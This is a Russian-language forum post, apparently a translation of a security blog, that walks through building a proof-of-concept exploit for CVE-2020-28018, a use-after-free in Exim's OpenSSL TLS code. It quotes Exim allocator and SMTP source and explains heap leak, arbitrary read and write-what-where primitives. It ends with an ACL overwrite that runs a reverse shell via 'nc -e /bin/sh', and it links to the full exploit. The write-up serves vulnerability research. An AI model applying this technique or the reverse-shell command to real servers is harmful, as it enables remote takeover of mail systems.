От теории к практике: анализ и разработка PoC для CVE-2020-28018 (Use-After-Free в exim)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
От теории к практике: анализ и разработка PoC для CVE-2020-28018 (Use-After-Free в exim)

Уважаемые товарищи, сегодняшняя проповедь о создании PoC для одной из уязвимостей, опубликованных Qualys в Exim. Пожалуйста, присаживайтесь и слушайте рассказ.

Введение

Qualys недавно выпустила информационное сообщение под названием «21Nails» с 21 уязвимостью, обнаруженной в eximʻe, некоторые из которых ведут к LPE и RCE.

В этом посте будет проанализирована одна из этих уязвимостей с идентификатором CVE: CVE-2020-28018.

Уязвимость представляет собой уязвимость Use-After-Free(UAF) на tls-openssl.c, которая приводит к удаленному выполнению кода.

Эта уязвимость действительно мощная, поскольку она позволяет злоумышленнику создавать важные примитивы для обхода защиты памяти, такой как PIE или ASLR.

Примитивы, которые может получить через эту уязвимость, следующие:

- Info Leak: Утечка указателей кучи для обхода ASLR

- Arbitrary read: чтение произвольного количества байтов в произвольном месте

-write-what-where: записывать произвольные данные в произвольные места


Как видите, эти примитивы - именно то, что нужно удаленному злоумышленнику для обхода средств защиты.

Во-первых, чтобы сработала и использовалась эта уязвимость, необходимо выполнить некоторые требования:

- TLS включен

- Вместо GnuTLS (к сожалению, по умолчанию) должен быть включен OpenSSL.

- Работающий exim - одна из уязвимых версий

- X_PIPE_CONNECT должен быть отключен


Во-первых, чтобы понять, почему существует эта уязвимость и как ее использовать, нам нужно понять поведение Exim Pool Allocator и расширяемые строки, которые использует Exim.

Распределитель пула Exim

Распределитель пула eximʻa имеет разные пулы:

- POOL_PERM: распределения, которые не освобождаются до завершения процесса

- POOL_MAIN: выделения, которые можно освободить

- POOL_SEARCH: хранилище поиска


Пул - это связанный список структур, начинающийся с базы цепочки.

typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
Нажмите, чтобы раскрыть...

Мы видим, что он содержит две записи:

-next: указатель на следующий блок в связанном списке.

- length: длина текущего блока.


C: Скопировать в буфер обмена
Код:
void *
store_get_3(int size, const char *filename, int linenumber)
{

if (size % alignment != 0) size += alignment - (size % alignment);

if (size > yield_length[store_pool])
  {
  int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
  int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
  storeblock * newblock = NULL;

  if (  (newblock = current_block[store_pool])
     && (newblock = newblock->next)
     && newblock->length < length
     )
    {
    /* Give up on this block, because it's too small */
    store_free(newblock);
    newblock = NULL;
    }

  if (!newblock)
    {
    pool_malloc += mlength;           /* Used in pools */
    nonpool_malloc -= mlength;        /* Exclude from overall total */
    newblock = store_malloc(mlength);
    newblock->next = NULL;
    newblock->length = length;
    if (!chainbase[store_pool])
      chainbase[store_pool] = newblock;
    else
      current_block[store_pool]->next = newblock;
    }

  current_block[store_pool] = newblock;
  yield_length[store_pool] = newblock->length;
  next_yield[store_pool] =
    (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
  (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
  }


store_last_get[store_pool] = next_yield[store_pool];

...

next_yield[store_pool] = (void *)(CS next_yield[store_pool] + size);
yield_length[store_pool] -= size;

return store_last_get[store_pool];
}

Когда вызывается store_get(), он сначала проверяет, достаточно ли места в текущем блоке для удовлетворения запроса.

Если есть место, указатель yield обновляется, и указатель на память возвращается вызывающей функции.

Если места нет, он проверяет, есть ли свободный блок, а затем при последней попытке вызвать malloc() для удовлетворения запроса (требование - минимум STORE_BLOCK_SIZE, если меньше этого, он будет использоваться как размер за выделение).

Наконец, новый блок добавляется в связанный список пула.

C: Скопировать в буфер обмена
Код:
void
store_reset_3(void *ptr, const char *filename, int linenumber)
{
storeblock * bb;
storeblock * b = current_block[store_pool];
char * bc = CS b + ALIGNED_SIZEOF_STOREBLOCK;
int newlength;

store_last_get[store_pool] = NULL;

if (CS ptr < bc || CS ptr > bc + b->length)
  {
  for (b = chainbase[store_pool]; b; b = b->next)
    {
    bc = CS b + ALIGNED_SIZEOF_STOREBLOCK;
    if (CS ptr >= bc && CS ptr <= bc + b->length) break;
    }
  if (!b)
    log_write(0, LOG_MAIN|LOG_PANIC_DIE, "internal error: store_reset(%p) "
      "failed: pool=%d %-14s %4d", ptr, store_pool, filename, linenumber);
  }


newlength = bc + b->length - CS ptr;

...

(void) VALGRIND_MAKE_MEM_NOACCESS(ptr, newlength);
yield_length[store_pool] = newlength - (newlength % alignment);
next_yield[store_pool] = CS ptr + (newlength % alignment);
current_block[store_pool] = b;


if (yield_length[store_pool] < STOREPOOL_MIN_SIZE &&
    b->next &&
    b->next->length == STORE_BLOCK_SIZE)
  {
  b = b->next;
 
...

  (void) VALGRIND_MAKE_MEM_NOACCESS(CS b + ALIGNED_SIZEOF_STOREBLOCK,
        b->length - ALIGNED_SIZEOF_STOREBLOCK);
  }

bb = b->next;
b->next = NULL;

while ((b = bb))
  {
 
...

  bb = bb->next;
  pool_malloc -= b->length + ALIGNED_SIZEOF_STOREBLOCK;
  store_free_3(b, filename, linenumber);
  }

...

}

Сброс хранилища выполняет сброс/освобождение с учетом точки сброса. Все последующие блоки в блоке, который содержит reset_point, будут освобождены. И, наконец, указатель yield будет восстановлен в том же блоке.

C: Скопировать в буфер обмена
Код:
BOOL
store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
  int linenumber)
{
int inc = newsize - oldsize;
int rounded_oldsize = oldsize;

if (rounded_oldsize % alignment != 0)
  rounded_oldsize += alignment - (rounded_oldsize % alignment);

if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
    inc > yield_length[store_pool] + rounded_oldsize - oldsize)
  return FALSE;

...

if (newsize % alignment != 0) newsize += alignment - (newsize % alignment);
next_yield[store_pool] = CS ptr + newsize;
yield_length[store_pool] -= newsize - rounded_oldsize;
(void) VALGRIND_MAKE_MEM_UNDEFINED(ptr + oldsize, inc);
return TRUE;
}

Как мы увидим позже, эта функция пытается расширить память в том же блоке, если там есть свободное место.

Exim gstring’s

Exim использует нечто, называемое gstrings, как реализацию растущей строки.

Это структура, которая его определяет:

typedef struct gstring {
int size;
int ptr;
uschar *s;
} gstring;

Нажмите, чтобы раскрыть...

- size: размер строкового буфера.

- ptr: смещение до последнего символа в строковом буфере.

- uschar * s: определяет указатель на строковый буфер.


Когда мы хотим получить строку, мы можем использовать string_get():

C: Скопировать в буфер обмена
Код:
gstring *
string_get(unsigned size)
{
gstring * g = store_get(sizeof(gstring) + size);
g->size = size;
g->ptr = 0;
g->s = US(g + 1);
return g;
}

Он использует store_get() для выделения буфера.

При инициализации gstring строковый буфер находится сразу после структуры.

Когда мы хотим ввести данные в нарастущую строку:

C: Скопировать в буфер обмена
Код:
gstring *
string_catn(gstring * g, const uschar *s, int count)
{
int p;

if (!g)
  {
  unsigned inc = count < 4096 ? 127 : 1023;
  unsigned size = ((count + inc) &  ~inc) + 1;
  g = string_get(size);
  }

p = g->ptr;
if (p + count >= g->size)
  gstring_grow(g, p, count);

memcpy(g->s + p, s, count);
g->ptr = p + count;
return g;
}

string_catn() сначала проверяет, достаточно ли размера, если нет, вызывает gstring_grow().

C: Скопировать в буфер обмена
Код:
static void
gstring_grow(gstring * g, int p, int count)
{
int oldsize = g->size;

unsigned inc = oldsize < 4096 ? 127 : 1023;
g->size = ((p + count + inc) & ~inc) + 1;

if (!store_extend(g->s, oldsize, g->size))
  g->s = store_newblock(g->s, g->size, p);
}

Сначала он пытается расширить блок памяти в том же блоке пула. В случае неудачи выделяется новый блок и указатель g->s заменяется новым буфером.

Списки контроля доступа eximʻa (ACL)

Списки контроля доступа (ACL) - это тип конфигурации, позволяющий изменять поведение сервера при получении команд SMTP.

ACL долгое время были хорошим способом достижения выполнения кода при эксплуатации уязвимостей Exim.

Существует определенное имя ACL под названием run, которое позволяет вам запускать команду.

Пример: ${run {ls -la}}

Этот конкретный список контроля доступа используется при эксплуатации этой уязвимости для удаленного выполнения кода.

Первопричина

Теперь, понимая, как работают расширяемые строки, распределитель пула eximʻa и ACL, давайте проанализируем основную причину этой уязвимости.

В tls-openssl.c, на tls_write():
C: Скопировать в буфер обмена
Код:
int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;

DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
  buff, (unsigned long)len, more ? ", more" : "");

/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified.  This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset).  Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */

if (!ct_ctx && (more || corked))
  {
#ifdef EXPERIMENTAL_PIPE_CONNECT
  int save_pool = store_pool;
  store_pool = POOL_PERM;
#endif

  corked = string_catn(corked, buff, len);

#ifdef EXPERIMENTAL_PIPE_CONNECT
  store_pool = save_pool;
#endif

  if (more)
    return len;
  buff = CUS corked->s;
  len = corked->ptr;
  corked = NULL;
  }

for (left = len; left > 0;)
  {
  DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
  outbytes = SSL_write(ssl, CS buff, left);
  error = SSL_get_error(ssl, outbytes);
  DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
  switch (error)
    {
    case SSL_ERROR_SSL:
      ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
      log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
      return -1;

    case SSL_ERROR_NONE:
      left -= outbytes;
      buff += outbytes;
      break;

    case SSL_ERROR_ZERO_RETURN:
      log_write(0, LOG_MAIN, "SSL channel closed on write");
      return -1;

    case SSL_ERROR_SYSCALL:
      log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
    sender_fullhost ? sender_fullhost : US"<unknown>",
    strerror(errno));
      return -1;

    default:
      log_write(0, LOG_MAIN, "SSL_write error %d", error);
      return -1;
    }
  }
return len;
}

Эта функция отправляет ответы клиенту, когда сеанс TLS активен.

corked - статический указатель, его можно использовать в разных вызовах.

more с типом BOOL - это способ указать, есть ли еще данные для буферизации, или мы можем вернуть данные пользователю.

Если необходимо скопировать больше данных, возвращается len. В противном случае corked обнуляется, а содержимое corked->s возвращается клиенту.

Это означает, что мы могли бы запустить условие Use-After-Free в случае, если corked каким-то образом не получает NULLed, и после выполнения вызова smtp_reset содержимое, на которое указывает corked, будет освобождено.

Если снова дойдем до tls_write(), мы будем использовать буфер после освобождения.

Как мы можем поставить сервер в такую ситуацию?

Сначала мы инициализируем соединение с сервером и отправляем EHLO и STARTTLS, чтобы начать новый сеанс TLS, чтобы мы могли ввести tls_write() для ответов.

Если мы отправим RCPT TO или MAIL TO конвейерно с командой типа NOOP. И мы отправляем только половину NOOP(NO), а затем мы закрываем сеанс TLS, чтобы вернуться к открытому тексту, чтобы отправить другую половину (OP\n), мы вернемся к обычному тексту и, поскольку more = 1 corked указатель не будет NULL.

Теперь отправка такой команды, как EHLO, приведет к вызову smtp_reset(), которая освободит все последующие фрагменты кучи и вернет указатель yield на reset_point.

В процессе эксплуатации мы в основном имеем дело с пулом POOL_MAIN.

У нас есть статическая переменная, содержащая указатель на середину освобожденного буфера. Нам нужно использовать его для запуска UAF.

Чтобы использовать его, нам нужно вернуться к TLS-соединению, чтобы мы могли снова использовать tls_write().

Мы отправляем STARTTLS, чтобы начать новый сеанс TLS, и, наконец, отправляем любую команду. Когда сервер создает ответ на tls_write(), после освобождения будет использоваться corked.

Когда я впервые вызвал ошибку, функция из OpenSSL lib использовала мой освобожденный буфер и ввела двоичные данные, что привело к прерыванию SIGSEGV из-за недопустимого адреса памяти для corked->s:

gef➤ p *corked
$1 = {
size = 0x54595c9c,
ptr = 0xa7e800ba,
s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤ p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤
Нажмите, чтобы раскрыть...

Утечка информации

В настоящее время большинству эксплойтов, связанных с повреждением памяти, требуется утечка памяти для успешной работы и обхода таких средств защиты, как ASLR, PIE и многие другие.

Как уже упоминалось, сама эта функция Use-After-Free позволяет удаленному злоумышленнику извлекать указатели кучи.

Когда буфер будет освобожден, другие функции начнут его использовать, например, функции, которые записывают указатели кучи в кучу.

В ответах разрешены байты NULL во время сеанса TLS. Нам просто нужно, чтобы адреса кучи утечки были введены в диапазон памяти от corked->s до corked->s + corked->ptr.

Если адрес находится в этом диапазоне, он будет возвращен клиенту.

Как мы можем записать адреса кучи в этом диапазоне?

Помимо выполнения некоторых тестов и отладки, чтобы увидеть, куда и как переместить наш буфер, есть интересный трюк - конвейерная обработка команд RCPT TO вместе для увеличения строки буфера ответа. Это заставит string_catn() вызвать gstring_grow(), которая разместит строковый буфер в другом месте.

Это поможет нам перезаписать строковый буфер, но не саму структуру gstring.

Произвольное чтение

Как только у нас есть утечка памяти, мы можем начать поиск ACL exim, как только мы определим адрес, где находится ACL, мы можем записать в него, чтобы, наконец, добиться выполнения кода.

Для этого нам нужно каким-то образом создать произвольный примитив чтения, который позволит нам читать память из кучи.

Благодаря этому Use-After-Free, очищающему кучу, мы можем перезаписать структуру gstring, что позволит нам контролировать:

- corked->size: размер строкового буфера

- corked->ptr: смещение до последнего записанного байта

- corked->s: указатель на строковый буфер


Имея это, при следующей tls_write() нам будет отправлено произвольное количество байтов из произвольного места при попытке доступа к corked->s.

А как насчет NULL? Это же строки, верно?

Не! Ответы возвращаются клиенту через SSL_write(), так что никаких проблем с NULL нет, ограничение идет через corked ->ptr, которое контролируется :).

С помощью этого метода мы можем читать любую память из кучи, поэтому мы можем перебирать блоки памяти, пока не найдем конфигурацию с помощью определенного запроса для поиска.

Как мне перезаписать структуру gstring?

Сначала нам нужно выровнять кучу таким образом, чтобы мы могли успешно повторно использовать целевой кусок.

В smtp_setup_msg() мы зависим от начальной reset_point.

Чтобы избежать этого ... читая handle_smtp_call(), мы видим, что есть способ увеличить reset_point в качестве начального значения для smtp_setup_msg().

C: Скопировать в буфер обмена
Код:
if (!smtp_start_session())
    {
    mac_smtp_fflush();
    search_tidyup();
    _exit(EXIT_SUCCESS);
    }

  for (;;)
    {
    int rc;
    message_id[0] = 0;            /* Clear out any previous message_id */
    reset_point = store_get(0);   /* Save current store high water point */

    DEBUG(D_any)
      debug_printf("Process %d is ready for new message\n", (int)getpid());

    /* Smtp_setup_msg() returns 0 on QUIT or if the call is from an
    unacceptable host or if an ACL "drop" command was triggered, -1 on
    connection lost, and +1 on validly reaching DATA. Receive_msg() almost
    always returns TRUE when smtp_input is true; just retry if no message was
    accepted (can happen for invalid message parameters). However, it can yield
    FALSE if the connection was forcibly dropped by the DATA ACL. */

    if ((rc = smtp_setup_msg()) > 0)
      {
      BOOL ok = receive_msg(FALSE);
      search_tidyup();                    /* Close cached databases */
      if (!ok)                            /* Connection was dropped */
        {
    cancel_cutthrough_connection(TRUE, US"receive dropped");
        mac_smtp_fflush();
        smtp_log_no_mail();               /* Log no mail if configured */
        _exit(EXIT_SUCCESS);
        }
      if (message_id[0] == 0) continue;   /* No message was accepted */
      }
    else
      {
      if (smtp_out)
    {
    int i, fd = fileno(smtp_in);
    uschar buf[128];

    mac_smtp_fflush();
    /* drain socket, for clean TCP FINs */
    if (fcntl(fd, F_SETFL, O_NONBLOCK) == 0)
      for(i = 16; read(fd, buf, sizeof(buf)) > 0 && i > 0; ) i--;
    }
      cancel_cutthrough_connection(TRUE, US"message setup dropped");
      search_tidyup();
      smtp_log_no_mail();                 /* Log no mail if configured */

      /*XXX should we pause briefly, hoping that the client will be the
      active TCP closer hence get the TCP_WAIT endpoint? */
      DEBUG(D_receive) debug_printf("SMTP>>(close on process exit)\n");
      _exit(rc ? EXIT_FAILURE : EXIT_SUCCESS);
      }

Мы видим, что есть возможность вернуться к smtp_setup_msg() с увеличенным значением reset_point.

При чтении сообщения возвращаемое значение ok должно быть истинным, но нам каким-то образом нужно сделать message_id[0] == 0. Это происходит в конкретной ситуации.

Давайте прочитаем код receive_msg():

C: Скопировать в буфер обмена
Код:
  /* Handle failure due to a humungously long header section. The >= allows
  for the terminating \n. Add what we have so far onto the headers list so
  that it gets reflected in any error message, and back up the just-read
  character. */

  if (message_size >= header_maxsize)
    {
OVERSIZE:
    next->text[ptr] = 0;
    next->slen = ptr;
    next->type = htype_other;
    next->next = NULL;
    header_last->next = next;
    header_last = next;

    log_write(0, LOG_MAIN, "ridiculously long message header received from "
      "%s (more than %d characters): message abandoned",
      f.sender_host_unknown ? sender_ident : sender_fullhost, header_maxsize);

    if (smtp_input)
      {
      smtp_reply = US"552 Message header is ridiculously long";
      receive_swallow_smtp();
      goto TIDYUP;                             /* Skip to end of function */
      }

    else
      {
      give_local_error(ERRMESS_VLONGHEADER,
        string_sprintf("message header longer than %d characters received: "
         "message not accepted", header_maxsize), US"", error_rc, stdin,
           header_list->next);
      /* Does not return */
      }
    }

Если в сообщении мы отправляем очень длинную строку (в ней нет\ n), превышающую header_maxsize, произойдет ошибка.

Несмотря на то, что это ошибка, ok при возврате истинно, но message_id[0] содержит 0 :)

Это означает, что в handle_smtp_call() мы будем следить за продолжением и вернемся к smtp_setup_msg() с увеличенным значением reset_point.

Qualys испортила структуру с параметром AUTH (часть параметров ESMTP).

Это хороший способ перезаписи, поскольку он позволяет кодировать двоичные данные в виде строк с xtext. Эта строка будет декодирована как двоичные данные при записи в выделенный буфер.

Хотя я не пошел по этому пути. Я использовал сам канал сообщений для отправки двоичных данных, и у меня с ним не было проблем.

Итак, я смог перезаписать структуру с помощью сообщения и контролировать все параметры в структуре.

Write-what-where

Теперь мы знаем адрес, где хранится целевая конфигурация.

Используя ту же технику, которую я использовал для перезаписи целевой структуры gstring, мы можем сделать то же самое, но создать примитив Write-what-where

На этот раз corked->size должен быть большим. corked->ptr должен быть равен нулю, чтобы начать писать ответ непосредственно на corked->s.

corked->s будет содержать адрес, по которому мы хотим записать ответ нашей команды, запускающей UAF.

После того, как мы перезапишем структуру gstring такими значениями, нам нужно снова запустить Use-After-Free, инициализируя сеанс TLS.

Мы отправляем недопустимую команду MAIL FROM, поэтому часть нашей команды возвращается в ответ, что позволяет нам записывать произвольные данные.

Достижение удаленного выполнения кода

ACL перезаписывается нашей пользовательской командой, как мы можем заставить ее выполняться?

Как только ACL поврежден, в этом случае я перезаписал ACL, соответствующий командам MAIL FROM, нам нужно сделать так, чтобы этот ACL интерпретировался с помощью expand_cstring(). Для этого после MAIL FROM, который мы использовали для перезаписи ACL, мы можем конвейерно передать другую команду (MAIL FROM тоже, поскольку предыдущая не удалась), которая передаст ACL в expand_cstring(), и команда, наконец, будет выполнена.

У меня была проблема с максимальным количеством аргументов. Я не мог исполнять nc -e /bin/sh<ip><port>, было разрешено только два аргумента.

Поэтому я использовал это как команду: /bin/sh -c 'nc -e/bin/sh<ip><port>'.

Теперь это не даст нам проблемы с max_args, и команда будет выполнена, что приведет к реверс шеллу:

1645603714900.png



EoF

Полную версию эксплойта можно найти здесь https://github.com/lockedbyte/CVE-Exploits/blob/master/CVE-2020-28018/exploit.c.

Надеемся, вам понравилось эта статья! Не стесняйтесь оставлять отзывы в нашем твиттере @AdeptsOf0xCC.

Переведено специально для XSS.is
Автор перевода: yashechka
Источник: https://adepts.of0x.cc/exim-cve-2020-28018/
 
Сверху Снизу